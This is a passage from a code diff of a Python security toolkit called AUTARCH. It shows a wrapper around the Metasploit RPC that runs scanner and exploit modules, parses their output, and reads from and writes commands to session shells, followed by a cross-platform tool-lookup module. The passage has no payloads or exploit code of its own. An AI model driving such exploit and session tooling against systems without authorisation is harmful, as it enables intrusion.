break
|
||||||
|
|
||||||
|
if skip:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Skip prompt lines
|
||||||
|
if line_stripped.startswith('>') and len(line_stripped) < 5:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Skip set confirmations (we already show these)
|
||||||
|
if ' => ' in line_stripped and any(
|
||||||
|
line_stripped.startswith(opt) for opt in
|
||||||
|
['RHOSTS', 'RHOST', 'PORTS', 'LHOST', 'LPORT', 'THREADS']
|
||||||
|
):
|
||||||
|
continue
|
||||||
|
|
||||||
|
lines.append(line)
|
||||||
|
|
||||||
|
return '\n'.join(lines)
|
||||||
|
|
||||||
|
def _parse_output(self, cleaned_output: str, module_path: str) -> Dict[str, Any]:
|
||||||
|
"""Parse cleaned output into structured data.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
cleaned_output: Cleaned console output.
|
||||||
|
module_path: The module that was run (for context).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary with parsed results.
|
||||||
|
"""
|
||||||
|
result = {
|
||||||
|
'findings': [],
|
||||||
|
'info': [],
|
||||||
|
'errors': [],
|
||||||
|
'warnings': [],
|
||||||
|
'open_ports': [],
|
||||||
|
'services': [],
|
||||||
|
'error_count': 0,
|
||||||
|
}
|
||||||
|
|
||||||
|
is_scanner = 'scanner' in module_path.lower()
|
||||||
|
is_portscan = 'portscan' in module_path.lower()
|
||||||
|
|
||||||
|
for line in cleaned_output.split('\n'):
|
||||||
|
line_stripped = line.strip()
|
||||||
|
|
||||||
|
# Categorize by prefix
|
||||||
|
if '[+]' in line:
|
||||||
|
result['findings'].append(line_stripped)
|
||||||
|
|
||||||
|
# Try to extract port/service info from scanner results
|
||||||
|
if is_scanner:
|
||||||
|
# Look for IP:port patterns
|
||||||
|
service_match = self.SERVICE_PATTERN.search(line)
|
||||||
|
if service_match:
|
||||||
|
ip, port, info = service_match.groups()
|
||||||
|
result['services'].append({
|
||||||
|
'ip': ip,
|
||||||
|
'port': int(port),
|
||||||
|
'info': info.strip()
|
||||||
|
})
|
||||||
|
|
||||||
|
# Look for "open" port mentions
|
||||||
|
if is_portscan and 'open' in line.lower():
|
||||||
|
port_match = re.search(r':(\d+)\s', line)
|
||||||
|
if port_match:
|
||||||
|
result['open_ports'].append({
|
||||||
|
'port': int(port_match.group(1)),
|
||||||
|
'state': 'open'
|
||||||
|
})
|
||||||
|
|
||||||
|
elif '[-]' in line or 'Error:' in line:
|
||||||
|
# Count NoMethodError and similar spam but don't store each one
|
||||||
|
if 'NoMethodError' in line or 'undefined method' in line:
|
||||||
|
result['error_count'] += 1
|
||||||
|
else:
|
||||||
|
result['errors'].append(line_stripped)
|
||||||
|
|
||||||
|
elif '[!]' in line:
|
||||||
|
result['warnings'].append(line_stripped)
|
||||||
|
|
||||||
|
elif '[*]' in line:
|
||||||
|
result['info'].append(line_stripped)
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
def run_module(
|
||||||
|
self,
|
||||||
|
module_path: str,
|
||||||
|
options: Dict[str, Any] = None,
|
||||||
|
timeout: int = 120,
|
||||||
|
auto_reconnect: bool = True
|
||||||
|
) -> MSFResult:
|
||||||
|
"""Execute an MSF module and return parsed results.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
module_path: Full module path (e.g., 'auxiliary/scanner/portscan/tcp').
|
||||||
|
options: Module options dictionary.
|
||||||
|
timeout: Maximum execution time in seconds.
|
||||||
|
auto_reconnect: If True, attempt to reconnect on auth errors.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
MSFResult with parsed output.
|
||||||
|
"""
|
||||||
|
options = options or {}
|
||||||
|
target = options.get('RHOSTS', options.get('RHOST', ''))
|
||||||
|
start_time = time.time()
|
||||||
|
|
||||||
|
# Ensure connected
|
||||||
|
connected, msg = self.ensure_connected()
|
||||||
|
if not connected:
|
||||||
|
return MSFResult(
|
||||||
|
status=MSFStatus.NOT_CONNECTED,
|
||||||
|
module=module_path,
|
||||||
|
target=target,
|
||||||
|
errors=[msg]
|
||||||
|
)
|
||||||
|
|
||||||
|
# Build console commands
|
||||||
|
commands = f"use {module_path}\n"
|
||||||
|
for key, value in options.items():
|
||||||
|
commands += f"set {key} {value}\n"
|
||||||
|
commands += "run"
|
||||||
|
|
||||||
|
# Execute
|
||||||
|
raw_output, error = self._run_console_command(commands, timeout)
|
||||||
|
|
||||||
|
# Handle auth error with reconnect
|
||||||
|
if error == "AUTH_ERROR" and auto_reconnect:
|
||||||
|
connected, msg = self.ensure_connected()
|
||||||
|
if connected:
|
||||||
|
raw_output, error = self._run_console_command(commands, timeout)
|
||||||
|
else:
|
||||||
|
return MSFResult(
|
||||||
|
status=MSFStatus.AUTH_ERROR,
|
||||||
|
module=module_path,
|
||||||
|
target=target,
|
||||||
|
errors=["Session expired and reconnection failed"]
|
||||||
|
)
|
||||||
|
|
||||||
|
# Handle other errors
|
||||||
|
if error and error != "AUTH_ERROR":
|
||||||
|
if "timed out" in error.lower():
|
||||||
|
status = MSFStatus.TIMEOUT
|
||||||
|
else:
|
||||||
|
status = MSFStatus.FAILED
|
||||||
|
return MSFResult(
|
||||||
|
status=status,
|
||||||
|
module=module_path,
|
||||||
|
target=target,
|
||||||
|
raw_output=raw_output,
|
||||||
|
errors=[error]
|
||||||
|
)
|
||||||
|
|
||||||
|
# Clean and parse output
|
||||||
|
cleaned = self._clean_output(raw_output)
|
||||||
|
parsed = self._parse_output(cleaned, module_path)
|
||||||
|
|
||||||
|
execution_time = time.time() - start_time
|
||||||
|
|
||||||
|
# Determine status
|
||||||
|
if parsed['error_count'] > 0 and not parsed['findings']:
|
||||||
|
status = MSFStatus.FAILED
|
||||||
|
elif parsed['error_count'] > 0:
|
||||||
|
status = MSFStatus.PARTIAL
|
||||||
|
elif parsed['findings'] or parsed['info']:
|
||||||
|
status = MSFStatus.SUCCESS
|
||||||
|
else:
|
||||||
|
status = MSFStatus.SUCCESS # No output isn't necessarily an error
|
||||||
|
|
||||||
|
return MSFResult(
|
||||||
|
status=status,
|
||||||
|
module=module_path,
|
||||||
|
target=target,
|
||||||
|
raw_output=raw_output,
|
||||||
|
cleaned_output=cleaned,
|
||||||
|
findings=parsed['findings'],
|
||||||
|
info=parsed['info'],
|
||||||
|
errors=parsed['errors'],
|
||||||
|
warnings=parsed['warnings'],
|
||||||
|
open_ports=parsed['open_ports'],
|
||||||
|
services=parsed['services'],
|
||||||
|
execution_time=execution_time,
|
||||||
|
error_count=parsed['error_count']
|
||||||
|
)
|
||||||
|
|
||||||
|
def run_scanner(
|
||||||
|
self,
|
||||||
|
module_path: str,
|
||||||
|
target: str,
|
||||||
|
ports: str = None,
|
||||||
|
options: Dict[str, Any] = None,
|
||||||
|
timeout: int = 120
|
||||||
|
) -> MSFResult:
|
||||||
|
"""Convenience method for running scanner modules.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
module_path: Scanner module path.
|
||||||
|
target: Target IP or range (RHOSTS).
|
||||||
|
ports: Port specification (optional).
|
||||||
|
options: Additional options.
|
||||||
|
timeout: Maximum execution time.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
MSFResult with scan results.
|
||||||
|
"""
|
||||||
|
opts = {'RHOSTS': target}
|
||||||
|
if ports:
|
||||||
|
opts['PORTS'] = ports
|
||||||
|
if options:
|
||||||
|
opts.update(options)
|
||||||
|
|
||||||
|
return self.run_module(module_path, opts, timeout)
|
||||||
|
|
||||||
|
def get_module_info(self, module_path: str) -> Optional[Dict[str, Any]]:
|
||||||
|
"""Get information about a module.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
module_path: Full module path.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Module info dictionary or None.
|
||||||
|
"""
|
||||||
|
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||||
|
if not connected:
|
||||||
|
return None
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Determine module type from path
|
||||||
|
parts = module_path.split('/')
|
||||||
|
if len(parts) < 2:
|
||||||
|
return None
|
||||||
|
|
||||||
|
module_type = parts[0]
|
||||||
|
module_name = '/'.join(parts[1:])
|
||||||
|
|
||||||
|
info = self.manager.rpc.get_module_info(module_type, module_name)
|
||||||
|
return {
|
||||||
|
'name': info.name,
|
||||||
|
'description': info.description,
|
||||||
|
'author': info.author,
|
||||||
|
'type': info.type,
|
||||||
|
'rank': info.rank,
|
||||||
|
'references': info.references
|
||||||
|
}
|
||||||
|
except Exception as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return None
|
||||||
|
|
||||||
|
def get_module_options(self, module_path: str) -> Optional[Dict[str, Any]]:
|
||||||
|
"""Get available options for a module.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
module_path: Full module path.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Options dictionary or None.
|
||||||
|
"""
|
||||||
|
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||||
|
if not connected:
|
||||||
|
return None
|
||||||
|
|
||||||
|
try:
|
||||||
|
parts = module_path.split('/')
|
||||||
|
if len(parts) < 2:
|
||||||
|
return None
|
||||||
|
|
||||||
|
module_type = parts[0]
|
||||||
|
module_name = '/'.join(parts[1:])
|
||||||
|
|
||||||
|
return self.manager.rpc.get_module_options(module_type, module_name)
|
||||||
|
except Exception as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return None
|
||||||
|
|
||||||
|
def search_modules(self, query: str) -> List[str]:
|
||||||
|
"""Search for modules matching a query.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
query: Search query.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of matching module paths.
|
||||||
|
"""
|
||||||
|
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||||
|
if not connected:
|
||||||
|
return []
|
||||||
|
|
||||||
|
try:
|
||||||
|
results = self.manager.rpc.search_modules(query)
|
||||||
|
# Results are typically dicts with 'fullname' key
|
||||||
|
if isinstance(results, list):
|
||||||
|
return [r.get('fullname', r) if isinstance(r, dict) else str(r) for r in results]
|
||||||
|
return []
|
||||||
|
except Exception as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return []
|
||||||
|
|
||||||
|
def list_modules(self, module_type: str = None) -> List[str]:
|
||||||
|
"""List available modules by type.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
module_type: Filter by type (exploit, auxiliary, post, payload, encoder, nop).
|
||||||
|
If None, returns all modules.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of module paths.
|
||||||
|
"""
|
||||||
|
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||||
|
if not connected:
|
||||||
|
return []
|
||||||
|
|
||||||
|
try:
|
||||||
|
return self.manager.rpc.list_modules(module_type)
|
||||||
|
except Exception as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return []
|
||||||
|
|
||||||
|
def list_sessions(self) -> Dict[str, Any]:
|
||||||
|
"""List active MSF sessions.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary of session IDs to session info.
|
||||||
|
"""
|
||||||
|
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||||
|
if not connected:
|
||||||
|
return {}
|
||||||
|
|
||||||
|
try:
|
||||||
|
return self.manager.rpc.list_sessions()
|
||||||
|
except Exception as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def list_jobs(self) -> Dict[str, Any]:
|
||||||
|
"""List running MSF jobs.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary of job IDs to job info.
|
||||||
|
"""
|
||||||
|
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||||
|
if not connected:
|
||||||
|
return {}
|
||||||
|
|
||||||
|
try:
|
||||||
|
return self.manager.rpc.list_jobs()
|
||||||
|
except Exception as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def stop_job(self, job_id: str) -> bool:
|
||||||
|
"""Stop a running job.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
job_id: Job ID to stop.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if stopped successfully.
|
||||||
|
"""
|
||||||
|
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||||
|
if not connected:
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
return self.manager.rpc.stop_job(job_id)
|
||||||
|
except Exception as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def execute_module_job(
|
||||||
|
self,
|
||||||
|
module_path: str,
|
||||||
|
options: Dict[str, Any] = None
|
||||||
|
) -> Tuple[bool, Optional[str], Optional[str]]:
|
||||||
|
"""Execute a module as a background job (non-blocking).
|
||||||
|
|
||||||
|
This is different from run_module() which uses console and captures output.
|
||||||
|
Use this for exploits and long-running modules that should run in background.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
module_path: Full module path.
|
||||||
|
options: Module options.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (success, job_id, error_message).
|
||||||
|
"""
|
||||||
|
connected, msg = self.ensure_connected()
|
||||||
|
if not connected:
|
||||||
|
return False, None, msg
|
||||||
|
|
||||||
|
try:
|
||||||
|
parts = module_path.split('/')
|
||||||
|
if len(parts) < 2:
|
||||||
|
return False, None, "Invalid module path"
|
||||||
|
|
||||||
|
module_type = parts[0]
|
||||||
|
module_name = '/'.join(parts[1:])
|
||||||
|
|
||||||
|
result = self.manager.rpc.execute_module(module_type, module_name, options or {})
|
||||||
|
|
||||||
|
job_id = result.get('job_id')
|
||||||
|
if job_id is not None:
|
||||||
|
return True, str(job_id), None
|
||||||
|
else:
|
||||||
|
# Check for error in result
|
||||||
|
error = result.get('error_message') or result.get('error') or "Unknown error"
|
||||||
|
return False, None, str(error)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return False, None, str(e)
|
||||||
|
|
||||||
|
def session_read(self, session_id: str) -> Tuple[bool, str]:
|
||||||
|
"""Read from a session shell.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
session_id: Session ID.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (success, output).
|
||||||
|
"""
|
||||||
|
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||||
|
if not connected:
|
||||||
|
return False, ""
|
||||||
|
|
||||||
|
try:
|
||||||
|
output = self.manager.rpc.session_shell_read(session_id)
|
||||||
|
return True, output
|
||||||
|
except Exception as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return False, ""
|
||||||
|
|
||||||
|
def session_write(self, session_id: str, command: str) -> bool:
|
||||||
|
"""Write a command to a session shell.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
session_id: Session ID.
|
||||||
|
command: Command to execute.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if written successfully.
|
||||||
|
"""
|
||||||
|
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||||
|
if not connected:
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
return self.manager.rpc.session_shell_write(session_id, command)
|
||||||
|
except Exception as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def session_stop(self, session_id: str) -> bool:
|
||||||
|
"""Stop/kill a session.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
session_id: Session ID.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if stopped successfully.
|
||||||
|
"""
|
||||||
|
connected, _ = self.ensure_connected(auto_prompt=False)
|
||||||
|
if not connected:
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
return self.manager.rpc.session_stop(session_id)
|
||||||
|
except Exception as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def run_console_command(self, command: str, timeout: int = 30) -> Tuple[bool, str]:
|
||||||
|
"""Run a raw console command and return output.
|
||||||
|
|
||||||
|
This is a lower-level method for direct console access.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
command: Console command to run.
|
||||||
|
timeout: Timeout in seconds.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (success, output).
|
||||||
|
"""
|
||||||
|
connected, msg = self.ensure_connected()
|
||||||
|
if not connected:
|
||||||
|
return False, msg
|
||||||
|
|
||||||
|
try:
|
||||||
|
output = self.manager.rpc.run_console_command(command, timeout=timeout)
|
||||||
|
return True, output
|
||||||
|
except Exception as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return False, str(e)
|
||||||
|
|
||||||
|
def print_result(self, result: MSFResult, verbose: bool = False):
|
||||||
|
"""Print a formatted result to the console.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
result: MSFResult to print.
|
||||||
|
verbose: If True, show all output including info lines.
|
||||||
|
"""
|
||||||
|
print(f"\n{Colors.CYAN}Module Output:{Colors.RESET}")
|
||||||
|
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
||||||
|
|
||||||
|
if result.status == MSFStatus.NOT_CONNECTED:
|
||||||
|
print(f" {Colors.RED}[X] Not connected to Metasploit{Colors.RESET}")
|
||||||
|
if result.errors:
|
||||||
|
print(f" {result.errors[0]}")
|
||||||
|
elif result.status == MSFStatus.AUTH_ERROR:
|
||||||
|
print(f" {Colors.RED}[X] Authentication failed{Colors.RESET}")
|
||||||
|
elif result.status == MSFStatus.TIMEOUT:
|
||||||
|
print(f" {Colors.YELLOW}[!] Execution timed out{Colors.RESET}")
|
||||||
|
else:
|
||||||
|
# Print findings (green)
|
||||||
|
for line in result.findings:
|
||||||
|
print(f" {Colors.GREEN}{line}{Colors.RESET}")
|
||||||
|
|
||||||
|
# Print info (cyan) - only in verbose mode
|
||||||
|
if verbose:
|
||||||
|
for line in result.info:
|
||||||
|
print(f" {Colors.CYAN}{line}{Colors.RESET}")
|
||||||
|
|
||||||
|
# Print warnings (yellow)
|
||||||
|
for line in result.warnings:
|
||||||
|
print(f" {Colors.YELLOW}{line}{Colors.RESET}")
|
||||||
|
|
||||||
|
# Print errors (dim)
|
||||||
|
for line in result.errors:
|
||||||
|
print(f" {Colors.DIM}{line}{Colors.RESET}")
|
||||||
|
|
||||||
|
# Summarize error count if high
|
||||||
|
if result.error_count > 0:
|
||||||
|
print(f"\n {Colors.YELLOW}[!] {result.error_count} errors occurred during execution{Colors.RESET}")
|
||||||
|
|
||||||
|
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
||||||
|
|
||||||
|
# Print summary
|
||||||
|
if result.execution_time > 0:
|
||||||
|
print(f" {Colors.DIM}Time: {result.execution_time:.1f}s{Colors.RESET}")
|
||||||
|
print(f" {Colors.DIM}Status: {result.get_summary()}{Colors.RESET}")
|
||||||
|
|
||||||
|
# Print parsed port/service info if available
|
||||||
|
if result.open_ports:
|
||||||
|
print(f"\n {Colors.GREEN}Open Ports:{Colors.RESET}")
|
||||||
|
for port_info in result.open_ports:
|
||||||
|
print(f" {port_info['port']}/tcp - {port_info.get('state', 'open')}")
|
||||||
|
|
||||||
|
if result.services:
|
||||||
|
print(f"\n {Colors.GREEN}Services Detected:{Colors.RESET}")
|
||||||
|
for svc in result.services:
|
||||||
|
print(f" {svc['ip']}:{svc['port']} - {svc['info']}")
|
||||||
|
|
||||||
|
|
||||||
|
# Global instance
|
||||||
|
_msf_interface: Optional[MSFInterface] = None
|
||||||
|
|
||||||
|
|
||||||
|
def get_msf_interface() -> MSFInterface:
|
||||||
|
"""Get the global MSF interface instance."""
|
||||||
|
global _msf_interface
|
||||||
|
if _msf_interface is None:
|
||||||
|
_msf_interface = MSFInterface()
|
||||||
|
return _msf_interface
|
||||||
1192
core/msf_modules.py
Normal file
1192
core/msf_modules.py
Normal file
File diff suppressed because it is too large
Load Diff
1124
core/msf_terms.py
Normal file
1124
core/msf_terms.py
Normal file
File diff suppressed because it is too large
Load Diff
263
core/paths.py
Normal file
263
core/paths.py
Normal file
@ -0,0 +1,263 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH Path Resolution
|
||||||
|
Centralized path management for cross-platform portability.
|
||||||
|
|
||||||
|
All paths resolve relative to the application root directory.
|
||||||
|
Tool lookup checks project directories first, then system PATH.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import platform
|
||||||
|
import shutil
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional, List
|
||||||
|
|
||||||
|
|
||||||
|
# ── Application Root ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
# Computed once: the autarch project root (parent of core/)
|
||||||
|
_APP_DIR = Path(__file__).resolve().parent.parent
|
||||||
|
|
||||||
|
|
||||||
|
def get_app_dir() -> Path:
|
||||||
|
"""Return the AUTARCH application root directory."""
|
||||||
|
return _APP_DIR
|
||||||
|
|
||||||
|
|
||||||
|
def get_core_dir() -> Path:
|
||||||
|
return _APP_DIR / 'core'
|
||||||
|
|
||||||
|
|
||||||
|
def get_modules_dir() -> Path:
|
||||||
|
return _APP_DIR / 'modules'
|
||||||
|
|
||||||
|
|
||||||
|
def get_data_dir() -> Path:
|
||||||
|
d = _APP_DIR / 'data'
|
||||||
|
d.mkdir(parents=True, exist_ok=True)
|
||||||
|
return d
|
||||||
|
|
||||||
|
|
||||||
|
def get_config_path() -> Path:
|
||||||
|
return _APP_DIR / 'autarch_settings.conf'
|
||||||
|
|
||||||
|
|
||||||
|
def get_results_dir() -> Path:
|
||||||
|
d = _APP_DIR / 'results'
|
||||||
|
d.mkdir(parents=True, exist_ok=True)
|
||||||
|
return d
|
||||||
|
|
||||||
|
|
||||||
|
def get_reports_dir() -> Path:
|
||||||
|
d = get_results_dir() / 'reports'
|
||||||
|
d.mkdir(parents=True, exist_ok=True)
|
||||||
|
return d
|
||||||
|
|
||||||
|
|
||||||
|
def get_dossiers_dir() -> Path:
|
||||||
|
d = _APP_DIR / 'dossiers'
|
||||||
|
d.mkdir(parents=True, exist_ok=True)
|
||||||
|
return d
|
||||||
|
|
||||||
|
|
||||||
|
def get_uploads_dir() -> Path:
|
||||||
|
d = get_data_dir() / 'uploads'
|
||||||
|
d.mkdir(parents=True, exist_ok=True)
|
||||||
|
return d
|
||||||
|
|
||||||
|
|
||||||
|
def get_backups_dir() -> Path:
|
||||||
|
d = _APP_DIR / 'backups'
|
||||||
|
d.mkdir(parents=True, exist_ok=True)
|
||||||
|
return d
|
||||||
|
|
||||||
|
|
||||||
|
def get_templates_dir() -> Path:
|
||||||
|
return _APP_DIR / '.config'
|
||||||
|
|
||||||
|
|
||||||
|
def get_custom_configs_dir() -> Path:
|
||||||
|
d = _APP_DIR / '.config' / 'custom'
|
||||||
|
d.mkdir(parents=True, exist_ok=True)
|
||||||
|
return d
|
||||||
|
|
||||||
|
|
||||||
|
# ── Platform Detection ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _get_arch() -> str:
|
||||||
|
"""Return architecture string: 'x86_64', 'arm64', etc."""
|
||||||
|
machine = platform.machine().lower()
|
||||||
|
if machine in ('aarch64', 'arm64'):
|
||||||
|
return 'arm64'
|
||||||
|
elif machine in ('x86_64', 'amd64'):
|
||||||
|
return 'x86_64'
|
||||||
|
return machine
|
||||||
|
|
||||||
|
|
||||||
|
def get_platform() -> str:
|
||||||
|
"""Return platform: 'linux', 'windows', or 'darwin'."""
|
||||||
|
return platform.system().lower()
|
||||||
|
|
||||||
|
|
||||||
|
def get_platform_tag() -> str:
|
||||||
|
"""Return platform-arch tag like 'linux-arm64', 'windows-x86_64'."""
|
||||||
|
return f"{get_platform()}-{_get_arch()}"
|
||||||
|
|
||||||
|
|
||||||
|
def is_windows() -> bool:
|
||||||
|
return platform.system() == 'Windows'
|
||||||
|
|
||||||
|
|
||||||
|
def is_linux() -> bool:
|
||||||
|
return platform.system() == 'Linux'
|
||||||
|
|
||||||
|
|
||||||
|
def is_mac() -> bool:
|
||||||
|
return platform.system() == 'Darwin'
|
||||||
|
|
||||||
|
|
||||||
|
# ── Tool / Binary Lookup ───────────────────────────────────────────
|
||||||
|
#
|
||||||
|
# Priority order:
|
||||||
|
# 1. System PATH (shutil.which — native binaries, correct arch)
|
||||||
|
# 2. Platform-specific well-known install locations
|
||||||
|
# 3. Platform-specific project tools (tools/linux-arm64/, etc.)
|
||||||
|
# 4. Generic project directories (android/, tools/, bin/)
|
||||||
|
# 5. Extra paths passed by caller
|
||||||
|
#
|
||||||
|
|
||||||
|
# Well-known install locations by platform (last resort)
|
||||||
|
_PLATFORM_SEARCH_PATHS = {
|
||||||
|
'windows': [
|
||||||
|
Path(os.environ.get('LOCALAPPDATA', '')) / 'Android' / 'Sdk' / 'platform-tools',
|
||||||
|
Path(os.environ.get('USERPROFILE', '')) / 'Android' / 'Sdk' / 'platform-tools',
|
||||||
|
Path('C:/Program Files (x86)/Nmap'),
|
||||||
|
Path('C:/Program Files/Nmap'),
|
||||||
|
Path('C:/Program Files/Wireshark'),
|
||||||
|
Path('C:/Program Files (x86)/Wireshark'),
|
||||||
|
Path('C:/metasploit-framework/bin'),
|
||||||
|
],
|
||||||
|
'darwin': [
|
||||||
|
Path('/opt/homebrew/bin'),
|
||||||
|
Path('/usr/local/bin'),
|
||||||
|
],
|
||||||
|
'linux': [
|
||||||
|
Path('/usr/local/bin'),
|
||||||
|
Path('/snap/bin'),
|
||||||
|
],
|
||||||
|
}
|
||||||
|
|
||||||
|
# Tools that need extra environment setup when run from bundled copies
|
||||||
|
_TOOL_ENV_SETUP = {
|
||||||
|
'nmap': '_setup_nmap_env',
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def _setup_nmap_env(tool_path: str):
|
||||||
|
"""Set NMAPDIR so bundled nmap finds its data files."""
|
||||||
|
tool_dir = Path(tool_path).parent
|
||||||
|
nmap_data = tool_dir / 'nmap-data'
|
||||||
|
if nmap_data.is_dir():
|
||||||
|
os.environ['NMAPDIR'] = str(nmap_data)
|
||||||
|
|
||||||
|
|
||||||
|
def _is_native_binary(path: str) -> bool:
|
||||||
|
"""Check if an ELF binary matches the host architecture."""
|
||||||
|
try:
|
||||||
|
with open(path, 'rb') as f:
|
||||||
|
magic = f.read(20)
|
||||||
|
if magic[:4] != b'\x7fELF':
|
||||||
|
return True # Not ELF (script, etc.) — assume OK
|
||||||
|
# ELF e_machine at offset 18 (2 bytes, little-endian)
|
||||||
|
e_machine = int.from_bytes(magic[18:20], 'little')
|
||||||
|
arch = _get_arch()
|
||||||
|
if arch == 'arm64' and e_machine == 183: # EM_AARCH64
|
||||||
|
return True
|
||||||
|
if arch == 'x86_64' and e_machine == 62: # EM_X86_64
|
||||||
|
return True
|
||||||
|
if arch == 'arm64' and e_machine == 62: # x86-64 on arm64 host
|
||||||
|
return False
|
||||||
|
if arch == 'x86_64' and e_machine == 183: # arm64 on x86-64 host
|
||||||
|
return False
|
||||||
|
return True # Unknown arch combo — let it try
|
||||||
|
except Exception:
|
||||||
|
return True # Can't read — assume OK
|
||||||
|
|
||||||
|
|
||||||
|
def find_tool(name: str, extra_paths: Optional[List[str]] = None) -> Optional[str]:
|
||||||
|
"""
|
||||||
|
Find an executable binary by name.
|
||||||
|
|
||||||
|
Search order:
|
||||||
|
1. System PATH (native binaries, correct architecture)
|
||||||
|
2. Platform-specific well-known install locations
|
||||||
|
3. Platform-specific project tools (tools/linux-arm64/ etc.)
|
||||||
|
4. Generic project directories (android/, tools/, bin/)
|
||||||
|
5. Extra paths provided by caller
|
||||||
|
|
||||||
|
Skips binaries that don't match the host architecture (e.g. x86-64
|
||||||
|
binaries on ARM64 hosts) to avoid FEX/emulation issues with root.
|
||||||
|
|
||||||
|
Returns absolute path string, or None if not found.
|
||||||
|
"""
|
||||||
|
# On Windows, append .exe if no extension
|
||||||
|
names = [name]
|
||||||
|
if is_windows() and '.' not in name:
|
||||||
|
names.append(name + '.exe')
|
||||||
|
|
||||||
|
# 1. System PATH (most reliable — native packages)
|
||||||
|
found = shutil.which(name)
|
||||||
|
if found and _is_native_binary(found):
|
||||||
|
return found
|
||||||
|
|
||||||
|
# 2. Platform-specific well-known locations
|
||||||
|
plat = get_platform()
|
||||||
|
for search_dir in _PLATFORM_SEARCH_PATHS.get(plat, []):
|
||||||
|
if search_dir.is_dir():
|
||||||
|
for n in names:
|
||||||
|
full = search_dir / n
|
||||||
|
if full.is_file() and os.access(str(full), os.X_OK) and _is_native_binary(str(full)):
|
||||||
|
return str(full)
|
||||||
|
|
||||||
|
# 3-4. Bundled project directories
|
||||||
|
plat_tag = get_platform_tag()
|
||||||
|
search_dirs = [
|
||||||
|
_APP_DIR / 'tools' / plat_tag, # Platform-specific (tools/linux-arm64/)
|
||||||
|
_APP_DIR / 'android', # Android tools
|
||||||
|
_APP_DIR / 'tools', # Generic tools/
|
||||||
|
_APP_DIR / 'bin', # Generic bin/
|
||||||
|
]
|
||||||
|
|
||||||
|
for tool_dir in search_dirs:
|
||||||
|
if tool_dir.is_dir():
|
||||||
|
for n in names:
|
||||||
|
full = tool_dir / n
|
||||||
|
if full.is_file() and os.access(str(full), os.X_OK):
|
||||||
|
found = str(full)
|
||||||
|
if not _is_native_binary(found):
|
||||||
|
continue # Wrong arch — skip
|
||||||
|
# Apply environment setup for bundled tools
|
||||||
|
env_fn = _TOOL_ENV_SETUP.get(name)
|
||||||
|
if env_fn:
|
||||||
|
globals()[env_fn](found)
|
||||||
|
return found
|
||||||
|
|
||||||
|
# 5. Extra paths from caller
|
||||||
|
if extra_paths:
|
||||||
|
for p in extra_paths:
|
||||||
|
for n in names:
|
||||||
|
full = os.path.join(p, n)
|
||||||
|
if os.path.isfile(full) and os.access(full, os.X_OK) and _is_native_binary(full):
|
||||||
|
return full
|
||||||
|
|
||||||
|
# Last resort: return system PATH result even if wrong arch (FEX may work for user)
|
||||||
|
